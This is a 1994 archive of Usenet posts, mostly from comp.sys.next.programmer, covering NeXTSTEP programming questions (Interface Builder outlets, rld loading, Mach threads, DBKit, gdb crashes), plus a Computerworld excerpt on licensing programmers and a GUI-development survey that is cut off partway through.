Newsgroups: comp.sys.next.programmer From: mike@lorax.com (Mike Ferris) Subject: Re: IB assymetry; funny business afoot? Message-ID: <CqzE3G.Jyr@lorax.com> Sender: mike@lorax.com (Mike Ferris) Organization: Stultus Enterprises References: <2sqp7u$ef9@fungusaur.wizards.com> Date: Mon, 6 Jun 1994 15:09:15 GMT In article <2sqp7u$ef9@fungusaur.wizards.com> toon@omnigroup.com (Greg Titus) writes: >Howard Smith writes >> >> Under 3.2; >> >> I just noticed the that the outlet previousText does >> NOT appear in the IB TextField Inspector->Connections. >> The outlets nextText, previousText and textDelegate are all >> defined in TextField.h, however previousText is the only >> outlet to not show up. >> >> Is this an omission in the TextField Inspector? >> Or is there some other IB funny business Im unaware of? >> > >Basically this is IB funny business. For classes you add to IB, it goes >and parses through the header file you give it and then saves the >superclass, outlets, and actions to data.classes inside your NIB file. >However, for the classes that IB starts out knowing about (the appkit >classes, et cetera) IB looks at a file called classes.table inside its >app wrapper, which is in the same format as a NIB's data.classes file. >In that file you'll find: > >TextField = { > SUPERCLASS = Control; > OUTLETS = {nextText; textDelegate;}; > ACTIONS = {"selectText:";}; >}; > >So somebody decided that you never needed to set previousText, and took >it out of the classes.table (or never put it in in the first place.) >If you want to be able to set the previousText outlet for some reason, >you can just find this section of classes.table, add the outlet, and >restart IB, although I don't know why you'd want to do this. > I believe the outlet is left off intentionally. The reasoning is that previousText ought to be the opposite of nextText. Therefore, when a TextField or Form or Matrix has its nextText set, it automatically sets the previousText of the other field to point back to the one you were connecting from. If you want to break this (and you should have a real good reason to do it. You must make sure that when resetting the nextText and previousText programmatically, that you do the nextText first then the previousText or the previousText will be reset when you set the nextText. mike
Newsgroups: comp.sys.next.programmer From: mike@lorax.com (Mike Ferris) Subject: Re: Read float from a FormCell Message-ID: <CqzEH8.K3I@lorax.com> Sender: mike@lorax.com (Mike Ferris) Organization: Stultus Enterprises References: <2sncge$5td@vega.info.isbiel.ch> Date: Mon, 6 Jun 1994 15:17:31 GMT In article <2sncge$5td@vega.info.isbiel.ch> biscm@info.isbiel.ch (Martin Bischoff) writes: >Hello, > >I have problem reading a float value from a FormCell with the following method: > > myFloat=[aFormCell floatValue] > >This method reads a float from a FormCell even if the data in that cell are of a >completely different type (e.g. alphanumeric). > >Now my question: >Is it possible, to check, if the data read from the FormCell is a valid float? >Does the method return an error code, if the data wasn't valid? > -floatValue calls atof(). If you need to check whether the thing is really a float first do -stringValue and start checking the characters. Alternatively, get MOKit (which is completely free and comes with source) and use a MORegexFormCell instead. MORegexFromCells can be configured to validate input against a regular expression (or a set of them) before allowing the user to tab out of the field. With a properly configured MORegexFormCell, you can assume that the entry is a valid floating point number as long as editing ended successfully in the control. If your field needs to be able to take other formats besides float, you can do that too by just adding more regular expressions. You can even set up a cell which will allow anything to be typed in but that will be able to tell you whether what was typed is a float or an int or a date or whatever just by seeing which expression was matched. ____________________________________________________________ Mike Ferris Whenever you find that you are mike@lorax.com on the side of the majority, (510) 652-2039 it is time to reform. -Mark Twain
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Can you rld() libraries like libNeXT_s.a ? Message-ID: <1994Jun7.080449.9312@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems References: <1994Jun07.010112.16336@cs.ucla.edu> Date: Tue, 7 Jun 1994 08:04:49 GMT In article <1994Jun07.010112.16336@cs.ucla.edu> esky@marathon.cs.ucla.edu (Eskandar Ensafi) writes: > I wanted to know if there is a way to rld() an entire library -- the man page > indiciates that this is possible, but objc_loadModule() does not seem to load > anything (although no errors are reported) when the filename is an archive such > as libNeXT_s.a. > > How would you go about loading a whole archive, WITHOUT unarchiving it first? I don't think that you can. You would have to link the library against an object module of some kind, using the -all_load flag to force all symbols to be included. rld() will then refuse to load any such object module. As has been discussed here recently, the base application must be linked aginst the shared library, preferably with -all_load. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Getting around rld errors Message-ID: <1994Jun7.083254.9467@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems References: <CqwHwx.40M@BITart.sub.org> Date: Tue, 7 Jun 1994 08:32:54 GMT In article <CqwHwx.40M@BITart.sub.org> gerti@BITart.sub.org (Gerd Knops) writes: > I was in the same situation once. The only 'solution' I found, was to use > 'ar' to extract the object files, and link the needed ones against my > bundle. Not exactly elegant, but worked. If somebody comes up with a more > elegant solution, please let me know. This works. However, NeXT shared libraries seem to use some interesting constructions, and I doubt that it is feasible to extract a class from one of these. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
From: enews@access1.digex.net (Christopher M. Griffin) Newsgroups: comp.sys.amiga.programmer,comp.sys.mac.programmer,comp.sys.next.programmer Subject: Computerworld Date: 7 Jun 1994 11:46:54 -0400 Organization: Express Access Online Communications, Greenbelt, MD USA Message-ID: <2t24pe$bqj@access1.digex.net> The featured article from the May 2 issue of Computerworld looks at the controversial issue of licensing of computer programmers. Here is an excerpt from Mitch Betts's "Industry Debates Certification." _____________________________________________________________________________ Someday, the software controlling a passenger jet or hospital system will fail, and lives will be lost. Amid gut-wrenching TV reports on the disaster, anchorman Ted Koppel might say, "Tonight on Nightline, we'll try to answer the question: `If plumbers and hairdressers have to be licensed, why not computer programmers?' " Concern that such a scenario will come to pass in the next decade has prompted professional societies to take action. Several are drafting policies on the highly controversial topics of competency testing and mandatory government licensing for computer professionals. Recommendations from the various task forces are expected next year. Supporters say licensing will help protect the public from buggy software and incompetent programmers. Opponents call it regulatory overkill and deem it inappropriate for a fast-paced field in which software is written by teams. "Occupational licensure is a sham," said John Aynesworth, a computer professional in West Bend, Wis., and an attendee at the recent Computers, Freedom and Privacy conference in Chicago. "The only purpose of occupational licensure is to restrict the labor supply so that those people who hold the license can charge monopoly prices enforced by the state, period," Aynesworth said. "Any appeals to the public safety or public interest are a smoke screen." No accepted standard Many information systems managers are also critical of licensing. "It's impossible for the government to create a licensing test dynamic enough to keep up with technology," said John Shiels, vice president of IS at JM Huber Corp., a manufacturer in Edison, N.Y. Given the debates over structured development methodologies and rapid prototyping, there is no commonly accepted standard for software engineering, he added. Another tricky issue is defining programmers. Do they include end users creating spreadsheet macros? Does just the programming team leader need to be licensed? How do you license overseas programmers working on critical software for use in the U.S.? Many proponents argue that software engineering is fundamentally not so different from civil engineering, in which bridge builders must be licensed. "I expect some form of mandatory competency validation is inevitable, at least for safety-critical software, because society will want some control over the profession," said Robert J. Melford, chairman of the public policy committee at the Washington-based IEEE Computer Society, which is studying the issue. Safety-critical systems include those running nuclear power plants, air-traffic control centers, chemical factories and medical devices. "So the question is, should we let the politicians do it in a crisis atmosphere, or should we do it ourselves in a way that is responsive to the needs of our profession and serves the public welfare?" asked Melford, a computer security consultant. A joint task force of the IEEE Computer Society and the Association for Computing Machinery (ACM) is studying such issues as skills, education, reeducation and standards of professional practice. The target date for a report is October 1995. Meanwhile, the ACM's Special Interest Group on Computers and Society has a task force studying certification (which is voluntary) and licensing (which is mandatory), according to Donald Gotterbarn, associate professor of computer and information sciences at East Tennessee State University in Johnson City. He said that report is due in June 1995. ______________________________________________________________________________ So begins this issue's featured article from Computerworld. This article and others from Computerworld and additional publications can be viewed at no charge on The Electronic Newsstand, a service which collects articles, editorials, and table of contents from over 100 magazines and provides them to the Global Internet community. Access to The Electronic Newsstand is available 24 hours a day, 7 days a week via Gopher, an information navigation and retrieval technology from the University of Minnesota. For those without a local Gopher client program, The Electronic Newsstand provides a telnet account which will allow you to use a text based Gopher client to access our service. To access The Electronic Newsstand, via Local Gopher Client: Hostname: gopher.internet.com Port: 2100 via the Gopher Home Menu at U of Minn: Other Gopher and Information Servers/ North America/ USA/ General/ The Electronic Newsstand (tm) via Gopher Link Information: Name=The Electronic Newsstand Type=1 Port=2100 Path=1/ Host=gopher.internet.com via Telnet: Hostname: gopher.internet.com Loginname: enews Password: <not required> via World Wide Web: URL: gopher://gopher.internet.com/ If you have any suggestions on how we might improve this service, or need more information, please email staff@enews.com --The Electronic Newsstand Staff
From: rragner@stingray.vm.iastate.edu (Rod Ragner) Newsgroups: comp.sys.next.programmer Subject: Re: Garfinkle & Mahoney Date: 7 Jun 1994 16:27:44 GMT Organization: Iowa State University, Ames, Iowa Message-ID: <2t2760$6nr@news.iastate.edu> References: <2smi3o$npu@nic-nac.CSU.net> To Order Garfinkel and Mahoney directly from the publisher: Call 1-800-SPRINGER (1-800-777-4643) Mail purchase orders to: Springer-Verlag New York, 44 Hartz Way, Secaucus, NJ 07096. Fax purchase orders to: 1-201-348-4505 Note, the price is now $44.95.
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Getting around rld errors Message-ID: <1994Jun7.082612.9399@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems References: <2so44f$24j@rosie.next.com> Distribution: usa Date: Tue, 7 Jun 1994 08:26:12 GMT In article <2so44f$24j@rosie.next.com> Mike_Paquette@next.com writes: > In article <1994Jun2.205855.11554@seer.demon.co.uk> paul@seer.demon.co.uk > (Paul Lynch) writes: > > I am writing an object file to be loaded into another application (the > > classic bundle situation), which requires some symbols defined in the > NeXT > > shared libraries. The main application doesn't link against all of > these > > libraries. > > This is the source of your problem. You'll need to add the shared library > symbols to the app which will be dynamically loading the object files. Useful advice (thanks), but not much good if you are trying to add functionality to an existing app whose source code you don't control. Given the philosophy of extending functionality by the use of bundles, there does seem to be a fundamental conflict here. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
From: wjabi@libra.arch.umich.edu (Wassim M. Jabi) Newsgroups: comp.sys.next.programmer,comp.graphics.algorithms Subject: TIFF: Adding and Extracting Information Date: 7 Jun 1994 18:10:41 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: usa Message-ID: <2t2d71INNo2m@srvr1.engin.umich.edu> Hello: Are there software tools to add/extract additional textual information to/from a TIFF file? We are thinking of writing an image database where we search the TIFF files for the embedded keywords and descriptions. Thanks. -- Wassim M. Jabi (313) 936-0229 Doctoral Program in Architecture, University of Michigan 2000 Bonisteel Boulevard Ann Arbor Michigan 48105-2069 wjabi@libra.arch.umich.edu NeXTMail-friendly
Newsgroups: comp.sys.next.programmer From: ericb@il.us.swissbank.com (Eric_Brown) Subject: Problem using Sybase triggers and DBKit Message-ID: <1994Jun7.180206.418@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Tue, 7 Jun 1994 18:02:06 GMT Here's the problem that I am having: In my Sybase triggers (specifically insert and update triggers), I perform consistency checks to maintain referential integrity (i.e. make sure all foreign key values exist in their respective tables). If the foreign lookup fails, I do a raiserror with an appropriate error message and then rollback the transaction. The problem is that even with the raiserror and rollback, my DBFetchGroup (within a DBModule) still thinks the -saveChanges succeeded. The -fetchGroup:willFailForReason: delegate method is never called and the return value from [module saveChanges:self] is non-nil. I have a definite need to know whether or not a -saveChanges fails. Any suggestions? -- _______________________________________________________________ / Eric Brown | The opinions expressed here \ | NEXTSTEP Consultant | are mine and do not necessarily | | CG Computer Services | represent those of my employer | | ericb@il.us.swissbank.com | or SBC. | \___________________________|___________________________________/
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: (If you don't support it then why use it?) Was: Re: BUG: NXMapFile() Date: 7 Jun 1994 18:40:00 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2t2eu0$769@rosie.next.com> References: <ROBERT.94Jun5173301@steffi.demon.co.uk> In article <ROBERT.94Jun5173301@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >>- The problem is that NX_FREEBUFFER isn't documented. (therefore, I can't >>guarantee that we support it... > So perhaps if you "cannot guarantee that we support it" you had better > instruct your developers accordingly. The problem is that NX_FREEBUFFER isn't documented in right places; for instance, it's not in the NXOpenMemory() or NXClose() documentation! The fact that this documentation tells you to use vm_deallocate() instead is also unfortunate (this will be fixed). Having said this, NX_FREEBUFFER is mentioned in a few places, including the header file. There's nothing in the header file that claims it's obsolete. In addition, as you point out, many of our examples use it, and some other documentation refers to it. So I'd claim it's not obsolete. It will most likely be with us as long as streams are around. Ali, Ali_Ozer@NeXT.com
From: clj@kirk (Claude LeRoyal Johnson) Newsgroups: comp.sys.next.programmer Subject: New to NeXT Date: 6 Jun 1994 11:53:21 GMT Organization: Howard University, Computer Learning & Design Center Message-ID: <2sv2nh$97a@sulu.cldc.howard.edu> I've done C development on Ultrix and other Unix platforms but I just got into NeXT and I need to know how to use the Interface Builder to add a UI to my applications. How do you do it? Also, how to you link the C code (ANSI C) to the UI that you create? Peace! -- ============================================================================== Claude Johnson, Operator E-mail: clj@cldc.howard.edu Computer Learning and Design Center tel: (202) 806 - 6621 Howard Univ. School of Engineering (202) 806 - 4810 "Keep the Faith" ==============================================================================
From: buchanan@math.ncsu.edu (Bob Buchanan) Newsgroups: comp.sys.next.programmer Subject: Automatic creation of .gdbinit Date: 7 Jun 1994 19:47:57 GMT Organization: NCSU Mathematics Dept. Distribution: usa Message-ID: <2t2itd$cho@taco.cc.ncsu.edu> Originator: buchanan@grad12.math.ncsu.edu I have a wish. My preferred way to debug NS applications is with gdb run from within emacs. Suppose I'm creating an app called Foo, then I'll have the following path to the debug-able binary: /bob/Foo/Foo.debug/Foo (assuming I'm using ProjectBuilder, IB, etc. to manage the software development, and assuming my home directory is /bob) When I do M-x gdb, I'm prompted for the filename to debug, and my minibuffer looks something like this: Run gdb on file: ~/Foo/Foo.debug/Foo The problem is all the source files are in /bob/Foo, so I have to issue the gdb command (gdb) directory :/bob/Foo or else put this line in the file .gdbinit in /bob/Foo/Foo.debug (which will get destroyed the next time I do a make clean). Is there a way I can get ProjectBuilder or the Makefile to create the proper .gdbinit automatically? Has anyone got a solution? Please email to me and if there is sufficient interest I'll summarize to the net. -- Bob Buchanan 919-515-2382 (work) 919-776-7371 (home) buchanan@math.ncsu.edu Math Dept, NCSU Box 8205, Raleigh, NC 27695-8205
From: sra@wam.umd.edu (Rich Andrews) Newsgroups: comp.sys.next.programmer Subject: Re: Creating Mach TASKS and THREADS...How? Date: 7 Jun 1994 21:54:09 GMT Organization: Proxima Inc., McLean Virginia Message-ID: <2t2qa1$ir3@cville-srv.wam.umd.edu> References: <1994Jun07.010829.16638@cs.ucla.edu> Eskandar Ensafi (esky@marathon.cs.ucla.edu) wrote: : I created a task using task_create() and created a thread with thread_create() (deleted stuff about sharing memory between tasks) (start with the easy stuff- threads within a task. Then, work your way up to EMM, Mach IPC, etc.) : Fine. Now how do I make the thread do something? To initiate a thread of execution, the newly created thread's stack must be initialized. The thread needs a pointer to a function that execution will begin at. Unlike 'fork', the thread starts anywhere you want. The CThreads library is a nice machine independent way to do this. startFunc(); cthread_t aThread; // (any_t)args is the only thing passed to the function, // so if we need multiple arguments, we resort to a struct *. aThread = cthread_fork((cthread_fn_t)startFunc, (any_t)args); // pick only one: cthread_detach(aThread); // the return value is discarded. //cthread_join(aThread); // wait for return. : A demo or example would be beneficial, but a simple explanation will do too. The above psuedo-code should help. Any comments on the cthread_fn_t typecast? For those who are interested, I suggest checking out ftp mach.cs.cmu.edu. There are many good tutorials and thesis papers on Mach. Also, the textbook Programming under Mach is recommended. : Thanks, : - Eskandar Hope it helps, Rich -- sra@proxima.com | 1(703)506-1661 [[[Sra alloc] init] setDelegate:receptionist]; sra@wam.umd.edu | 1(703)848-0804 [sender faxPSCode]; 1(301)587-0600 [self zone]; 1(301)629-4589 [sra respondsTo:@selector(beeper:)];
From: pepper@dashi.cc.ukans.edu (Ronald Pepper) Newsgroups: comp.sys.next.programmer Subject: Slow binaries??? Date: 7 Jun 1994 22:18:16 GMT Organization: Dell Computer Corporation Message-ID: <2t2rn8$615@uudell.us.dell.com> Dear All, I have compiled several programs under NextStep including a mud and trn, both are rather slow whenever they have to access data from the hard drive or the net. Has anyone encountered this? I also compiled gcc to see if it was just a compiler problem, but it was pretty much exactly the same. This occurs with or without optimization. Povray (raytracer) on the other had runs just fine. I am using a 486/66 with nextstep 3.2. Any help would be appreciated. If you have anything to send me use next mail please. Thanks in advance, Ron Pepper.
From: he@engin.swarthmore.edu (Ye He) Newsgroups: comp.sys.next.programmer Subject: help: covering DOCs Date: 7 Jun 1994 23:37:15 GMT Organization: Swarthmore College Engineering Department Message-ID: <2t30bb$qj6@larch.cc.swarthmore.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Hello Everybody, In one of our experiments this summer the entire computer screen, including the docs on the right of the screen, need to be covered by a view. The problem is that, I think, a double click over any icon placed in the doc area will activate that application program, or make the window of that program the key window, EVEN IF another view covers that icon graphically. This is extremely undesirable for the experiment because we don't want the user to activate ANY other program, nor is the user supposed to change the key window (YES, we don't even want the menu to appear). Could anybody give me a pointer on this? Is there any code available for this purpose? Please reply to me via email to he@engin.swarthmore.edu Many thanks in advance. -- Ye he@engin.swarthmore.edu
Newsgroups: comp.sys.next.programmer From: dylan@Angst.COM (Dylan Kohler) Subject: app: unmounting: doesn't seem to work Message-ID: <1994Jun7.225740.9068@Angst.COM> Sender: dylan@Angst.COM Organization: Angst Animation Post Production Date: Tue, 7 Jun 1994 22:57:40 GMT Has anybody had any luck getting the Application delegate method app:unmounting: to work? According to the documentation, this should be called if the app is launched by Workspace. It's not being called for me at all! Ironic, because app:mounted: and app:unmounted are working fine for me... -- ___________________________________ Dylan Kohler Angst Animation Post Production dylan@angst.com (NeXTmail welcome)
From: leliaeaj@nextwork.rose-hulman.edu (Aaron J Leliaert) Newsgroups: comp.sys.next.programmer Subject: Memory access exception?? Help! Date: 6 Jun 1994 20:10:33 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2svvrp$fik@master.cs.rose-hulman.edu> Progress on a NeXTSTEP program I'm re-writing has grinded to a halt... Whenever I build, I get no real errors (in Project Builder or Console). When I launch the app, it crashes while in intialization (the experimentDidInit method). Usually the Workspace Console provides clues (or at least says something), but not this time. Not being very experienced with the gdb debugger in NeXTSTEP, I'm not sure what the following means: Program generated(1): Memory access exception on address 0x5 (protection failure). -[Experiment experimentDidInit:] (self=0x2a7c94, _cmd=0x2c407, sender=0x2a74f0) at Experiment.m:76 Experiment.m: No such file or directory. (gdb) step msg_send: invalid port(-102) mach_oh_wait Program generated(1): Memory access exception on address 0x7 (protection failure). I have no clue what a memory access exception means, or why it is happening to me. The "Experiment.m: No such file or directory" is odd because it is using the Experiment.m before it says that. The "msg_send: invalid port(-102)" adds to the confusion... This is happening on a 040 Color NeXTstation, running NeXTstep 3.1 prerelease 1. If anybody has seen this sort of mess before and has ideas on why it happens, I would really appreciate the help! Thanks... Aaron J. Leliaert leliaeaj@nextwork.rose-hulman.edu
Newsgroups: comp.sys.next.programmer From: esky@marathon.cs.ucla.edu (Eskandar Ensafi) Subject: Can you rld() libraries like libNeXT_s.a ? Organization: UCLA CS Department, Los Angeles, CA Message-ID: <1994Jun07.010112.16336@cs.ucla.edu> Date: Tue, 07 Jun 94 01:01:12 GMT Hi, I wanted to know if there is a way to rld() an entire library -- the man page indiciates that this is possible, but objc_loadModule() does not seem to load anything (although no errors are reported) when the filename is an archive such as libNeXT_s.a. How would you go about loading a whole archive, WITHOUT unarchiving it first? Thanks, - Eskandar -- "Was ich kann und was ich konnte Weiss ich gar nicht mehr Gib mir wieder etwas schones Zieh mich aus dem meer" -- Marian (The Sisters Of Mercy)
Newsgroups: comp.sys.next.programmer From: esky@marathon.cs.ucla.edu (Eskandar Ensafi) Subject: Creating Mach TASKS and THREADS...How? Organization: UCLA CS Department, Los Angeles, CA Message-ID: <1994Jun07.010829.16638@cs.ucla.edu> Date: Tue, 07 Jun 94 01:08:29 GMT Hi, I need to create a task which shares memory with the parent task. This way, it can access the parent's memory but if one of its threads calls exit(), then the parent will not die (which is what happens if you use a cthread). I created a task using task_create() and created a thread with thread_create(). Fine. Now how do I make the thread do something? A demo or example would be beneficial, but a simple explanation will do too. Thanks, - Eskandar -- "Was ich kann und was ich konnte Weiss ich gar nicht mehr Gib mir wieder etwas schones Zieh mich aus dem meer" -- Marian (The Sisters Of Mercy)
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: Complete Class tree wanted Date: 7 Jun 1994 01:54:30 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2t0k0m$6a9@rosie.next.com> References: <CqzsII.1Jv@euler.hnv.icem.de> Juergen Sell writes > Hi, > > I tried to find a complete classes-tree of all the kits coming with NS. > There seems to be none in the entire documentation. > All I could find is an Appkit 2.0 tree included on the diskette which > comes with Garfinkel&Mahoney's book. > ... Here's something that might help (almost directly out of the comment in objc-runtime.h for objc_getClasses()). It's not pretty, but it'll dump out what the run-time sees as the class hierarchy. Save in "classes.m" and compile with: cc -ObjC -o classes classes.m -lNeXT_s [-l<other kits>] #import <objc/objc-runtime.h> void objc_class_dump() { NXHashTable *class_hash = objc_getClasses(); NXHashState state = NXInitHashState(class_hash); Class class, superclass; while (NXNextHashState(class_hash, &state, (void *)&class)) { /* print the class and it's superclass(es) */ printf("%s",class->name); superclass = class->super_class; while(superclass) { printf(" : %s",superclass->name); superclass = superclass->super_class; } printf("\n"); } } void main() { objc_class_dump(); } It's up to you to turn the output into a pretty picture :-) Ralph -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
Newsgroups: comp.human-factors,comp.programming,comp.software-eng,comp.os.ms-windows.programmer.misc,comp.os.os2.programmer.misc,comp.sys.amiga.programmer,comp.sys.atari.st,comp.sys.hp.misc,comp.sys.ibm-pc.misc,comp.sys.mac.programmer,comp.sys.next.programmer,comp.windows.garnet,comp.windows.interviews,comp.windows.misc,comp.windows.news,comp.windows.open-look,comp.windows.suit,comp.windows.x,comp.windows.x.motif From: dammert@informatik.uni-stuttgart.de (Juergen Dammert) Subject: Survey: Development of GUIs Message-ID: <Cr0o1A.8tK@news.informatik.uni-stuttgart.de> Keywords: Survey Sender: news@informatik.uni-stuttgart.de Organization: Stuttgart University, IPVR/ISE Date: Tue, 7 Jun 1994 07:41:33 GMT Dear netlander, if you are envolved in the development or the programming of Graphical User Interfaces please answer the following questions. This survey is part of my Ph.D. !! The answers you (hopefully) will send to me are for my eyes only !! !! and will be evaluated anonymously. !! If you are interested in the evaluation I can send you the results of this survey (see question 32). --==<( S u r v e y )>==-- Questionaire about the Development of Graphical User Interfaces Please answer by marking the brackets [ ] -> [X] square brackets -> multiple choice, you can mark more than one item < > -> <X> arrow brackets -> only _ONE_ choice, please mark ONLY ONE item or by inserting your comments (starting after the => sign). -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<cut here>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 1. Your sex: < > male < > female 2. Your age: < > < 20 < > 20-24 < > 25-29 < > 30-34 < > 35-39 < > 40-45 < > 45-50 < > > 50 3. What is your business? [ ] Research [ ] Development [ ] Design [ ] Production [ ] other (please name): => 4. Number of employees in your company: < > <= 10 < > <= 50 < > <= 100 < > <= 500 < > <= 1000 < > > 1000 5. Your education (please specify in terms of US educational system): [ ] School [ ] Highschool [ ] College [ ] Bachelor [ ] Master [ ] Ph.D. or equivalent [ ] other (please name): => 6. Profession: [ ] Programmer [ ] Engineer [ ] other (please name): => 7. Which GUI(s) do you use? (This question concerns the Look and Feel, users perspective) [ ] Amiga [ ] Atari [ ] MS-Windows [ ] Macintosh [ ] SunView [ ] X Window (twm) [ ] Motif (mwm) [ ] Open Windows (olwm, olvwm) [ ] other (please name): => 8. What are your skills as a USER of GUIs? < > expert < > ... < > .. < > . < > novice 9. What toolkit(s) do you use for programming GUIs? (programmers perspective) [ ] Amiga Intuition [ ] Atari GEM [ ] MS-Windows [ ] Macintosh MacApp [ ] Macintosh Think C Class Library [ ] Macintosh ResEdit [ ] Macintosh toolbox calls [ ] SunView [ ] X Window (Xt, Xlib) [ ] Athena Widgets [ ] Motif Open Look [ ] Open Look Intrinsic Toolkit [ ] TNT (The NeWS (Network Window System) Toolkit) [ ] Xview [ ] other (please name): => 10. What are your skills as PROGRAMMER of GUIs? < > expert < > ... < > .. < > . < > novice 11. How long are you involved in programming GUIs? < > 6 months < > 1 year < > 2 years < > 4 years < > 8 years < > more than 8 years 12. What programming languages do you use for your development? [ ] Ada [ ] C [ ] C++ [ ] Eiffel [ ] Fortran [ ] Lisp [ ] Modula 2 [ ] ObjectPascal [ ] Objective C [ ] Pascal [ ] Prolog [ ] Smalltalk [ ] other (please name): => 13. Are you developing your GUIs with a GUI builder? < > No (Please continue with question 15) < > Yes 14. What GUI builder(s) are you using? [ ] Hewlett-Packard: DialogManager [ ] Non Standard Logics: XFaceMaker [ ] Neuron Data: Open Interface [ ] Precision Software: XVT [ ] SUN: DevGUIDE [ ] Telesoft: TeleUse [ ] other (please name): => (Please continue with question 16) 15. Why not? => 16. Do you wish to work with a GUI builder/editor? < > Yes < > No 17. The ability of a GUI builder to generate code for several toolkits is < > very important < > ... < > .. < > . < > not interesting at all 18. On what hardware do you develop your GUIs? [ ] Apple Macintosh (Motorola 680x0) [ ] Apple Macintosh (Motorola PowerPC) [ ] Atari ST / TT / Falcon [ ] Commodore Amiga [ ] DEC VAXstation [ ] DEC station [ ] DEC alpha [ ] HP-9000 Series 400 [ ] HP-9000 Series 700 [ ] HP-9000 Series 800 [ ] IBM PS/2 [ ] IBM RS-6000 [ ] NeXT [ ] Personal Computer, IBM-compatible (Intel 80x86) [ ] Personal Computer, IBM-compatible (Intel Pentium) [ ] Silicon Graphics [ ] SUN 3 [ ] SUN SPARC [ ] other (please name): => 19. Are you satisfied with your development environment? < > Yes (Please continue with question 20) < > No 20. Why not? => 21. Please let me hear some of your criticisms / improvements. => 22. Have you ever thougt about creating your own user interface elements / widgets? < > Yes < > No (Please continue with question 27) 23. Have you implemented own widgets? < > Yes < > No (Please continue with question 25) 24. How much time did it take? < > Too much < > Much < > More or less < > Little < > Verry little 25. Will you develop other widgets again? < > Yes < > No 26. Would you use a tool that supports the design of own user interface elements? < > Yes < > No (Please continue with question 27) 27. How often would this tool be used? < > frequent < > ... < > .. < > . < > sometimes 28. To what extent do you consider or test the esthetic appeal of your program(s)? < > a great deal < > ... < > .. < > . < > none at all 29. Typically, what proportion of your time spent on a software development project is related to interface design? < > < 20% < > 20% - 39% < > 40% - 59% < > 60% - 79% < > >= 80% 30. What guidelines do you use/consider? [ ] none [ ] Apple, Inc.: Macintosh Human Interface Guidelines [ ] Commodore, Inc.: Amiga User Interface Style Guide [ ] GO Corporation: PenPoint User Interface Design Reference [ ] IBM: SAA Common User Access Basic Interface Design Guide [ ] IBM: SAA Common User Access Advanced Interface Design Guide [ ] IBM: Object-Oriented Interface Design: IBM Common User Access Guidelines [ ] Microsoft Corporation: The GUI Guide: International Terminology for the Windows Interface [ ] Microsoft Corporation: The Windows Interface: An Application Design Guide [ ] NeXT Computer, Inc.: NeXTSTEP User Interface Guidelines (Release 3) [ ] Open Software Foundation: OSF/Motif Style Guide [ ] Sun Microsystems Inc: OPEN LOOK Graphical User Interface Application Style Guidelines [ ] Sun Microsystems Inc: OPEN LOOK Graphical User Interface Functional Specification [ ] X/Open Company Ltd. (Hewlett-Packard, IBM, Sunsoft Inc. & USL): Common Desktop Environment: Functional Specification (Preliminary Draft) [ ] other (please name): => 31. Which readings concerning the development of Human Computer Interfaces and human factors do you consider? [ ] none [ ] Baecker, Ronald et al (Ed.): Readings in Human-Computer Interaction: Toward the Year 2000 [ ] Baecker, Ronald et al (Ed.): Readings in Human-Computer Interaction: A Multidisciplinary Approach [ ] Bass, Len; Coutaz, Joelle: Developing Software for the User Interface [ ] Brown, C. Marlin: Human-Computer Interface Design Guidelines [ ] Card, Stuart K.; Moran, Thomas P.; Newell, Allen: The Psychology of Human-Computer Interaction [ ] Carroll, John M.: Designing Interaction [ ] Dix, Alan; Finlay, Janet; Abowd, Gregory; Beale, Russell: Human- Computer Interaction [ ] Foley, James D.; van Dam, Andries; Feiner, Steven K.; Hughes, John F.: Computer Graphics: Principles and Practice (2nd Edition) [ ] Heckel, Paul: The Elements of Friendly Software Design [ ] Helander, Martin (Ed.): Handbook of Human-Computer Interaction [ ] Hix, Deborah; Hartson, Rex: Developing User Interfaces: Ensuring Usability Through Product and Process [ ] Kantowitz, Barry H.; Sorkin, Robert D.: Human Factors: Understanding People-System Relationships [ ] Laurel, Brenda: Computers as Theatre [ ] Laurel, Brenda: The Art of Human-Computer Interface Design [ ] Lewis, Clayton; Rieman, John: Task-Centered User Interface Design: A Practical Introduction [ ] Marcus, Aaron: Graphic Design for Electronic Documents and User Interfaces [ ] Martin, James; Chapman, Kathleen Kavanagh; Leben, Joe: Systems Application Architecture: Common User Access [ ] Mayhew, Deborah J.: Principles and Guidelines in Software User Interface Design [ ] McCormick, Ernest J; Sanders, M. S.: Human Factors in Engineering and Design [ ] Meister, David: Human Factors Evaluation and Testing [ ] Nielsen, Jakob: Usability Engineering [ ] Norman, Donald A.: Things that Make us Smart [ ] Norman, Donald A.: The Psychology of Everyday Things [ ] Norman, Donald A.; Draper, Stephen W. (Ed.): User Centered System Design: New Perspectives on Human-Computer Interaction [ ] Olsen, Dan: User Interface Management Systems: Models and Algorithms [ ] Rubinstein, 